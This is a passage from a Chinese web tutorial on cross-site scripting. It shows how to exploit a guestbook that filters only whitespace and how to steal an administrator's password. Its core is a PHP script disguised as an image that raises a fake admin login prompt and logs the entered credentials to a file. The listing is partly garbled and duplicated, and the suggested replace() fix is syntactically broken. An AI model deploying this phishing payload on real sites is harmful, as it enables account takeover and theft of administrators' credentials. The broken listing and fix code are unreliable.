扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
在本页阅读全文(共3页)
二、跨站攻击
XSS又叫CSS(Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者向 Web面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码被执行,从而达到攻击者的特殊目的。XSS属于被动式的攻击,因为其被动且好利用,所以许多人经常忽略其危害性。
一般来说跨站最容易出现的地方在网站的留言版块.攻击者可以构造如 的语句。 稍懂JS的人知道如果程序员在编写代码时没有过滤掉如
传统的跨站利用方式一般都是攻击者首先构造一个网页,然后在攻击者的另一个空间里面放一个收集cookie的页面接着结合其他技术让用户打开跨站页面 以便盗取用户的cookie从而进行攻击。 如当攻击者要渗透一个站点,攻击者可能首先使简单的HTML 标签如(粗体),(斜体)或(下划线),或者他可能尝试简单的 script标签如 来检测,这样也是很容易检测出跨站漏洞。然而,高明点的攻击者可能用它的 hex 值替换整个字符串。这样 也是可以的,然后点提交,成功弹出如图7
到了这里可能有些朋友觉得只是弹个窗,没什么了不起的,因而觉得这个没什么利用价值那可就大错特错了。其实我们还是可以利用这个XSS来偷取管理员的cookie,或者挂马!因为这站只是用trim过滤了空格,所以利用起来是非常容易的。 嘿嘿 下面我用这个漏洞来演示一下怎么偷到管理员的密码。 我们可以伪造个密码验证框!让管理输入帐号和密码验证,为了不让管理员发现,密码框的代码是利用cookie验证,密码框出现一次后,要想再出现密码框,就要在IE那删除cookie,如图8
为了不让管理员发现,我们用图片来伪装了。好了,那我们就来看看利用程序吧!代码如下:
<?
header("Content-type: image/gif");
$image = imagecreatefromgif('mellow.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
if(strlen($pass) < header("Content-type: image/gif");
$image = imagecreatefromgif('mellow.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
if(strlen($pass) <= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="管理员验证 - login"');
}
elseif($login)
{
setcookie('LOGON',md5($pass));
$f = fopen('passwords.txt', 'ab');
fwrite($f, $login." ||| ".$pass."\r\n");
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
>
新建个文档,把代码保存在文件内,后缀名改成图片格式。然后去网上找个小型的图片文件。将这两个图片放在同一个目录下就OK了。
这里就是调用的正常图片文件!然后我们在跨站那里输入,如果成功的话,就会生成个passwords.txt文件,文件内记录着管理员输入的帐号和密码!废话不少说了,现在我们来演示下吧,可能有的人说?管理一般都在后台进行留言管理的。很少跑到前台的,其实后台也要调用那文件。只要管理员进了后台,进行留言管理就能利用的。另外不要搞错哦,那代码是PHP的,要在PHP环境下才能正常解析!如果大家没有PHP的空间,去找个支持PHP的Webshell也行。大家看到没,出现了登陆框,不精明的网管会以为是程序的验证。那么,他就会输入帐号和密码再次进行验证。刷新下,密码框就不会出现。除非你删除你机子上的cookie才行。这样迷域性更大了,如图9
看到了吧 我们成功的偷到管理员的密码了。怎么样?你会利用了么??
现在大家都知道怎样去利用XSS漏洞,那也应该要学习学习怎样去修补漏洞!有攻就有防嘛,呵呵!这里我简单说一下修补漏洞利用replace()函数就可以了。可能有些初学者不太了解replace()函数怎样去利用。例如这段程序,未修补的代码:
rs("title")=trim(request.form("title"))
修补后的代码:
Rs("title")=replace(trim(request.from("title")"<","//"))
如果从客户端获取的title变量出现<就自动替换为//。那么测试语句就无法闭合了!当然还是可以转换为其它语句进行突破的,这只是演示怎样用replace函数简单的去过滤一些语句!我想,到这里大家也应该怎样去修补漏洞了吧!
笔者再说一下关于XSS的一点东西,可能有些朋友看完这篇文章以后会认为所有的跨站都是可以这么利用的。其实不然,有些跨站就真的只是能弹个窗口,但是他并不写入数据库。这样是没有任何意义的,我们来拿百度做实验,打开百度以后选择MP3然后点击音乐掌门人在搜索框内输入★ ★,成功弹出fish的框框,如图11
虽然成功的弹出了对话框,但是这个并不能算是真正意义上的跨站,因为他并没有写入数据库,除了能糊弄一些不懂的人之外,并没有任何的利用价值的。 所以在寻找跨站漏洞以及利用的过程中更多的是需要认真观察。寻找任何可利用的蛛丝马迹。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者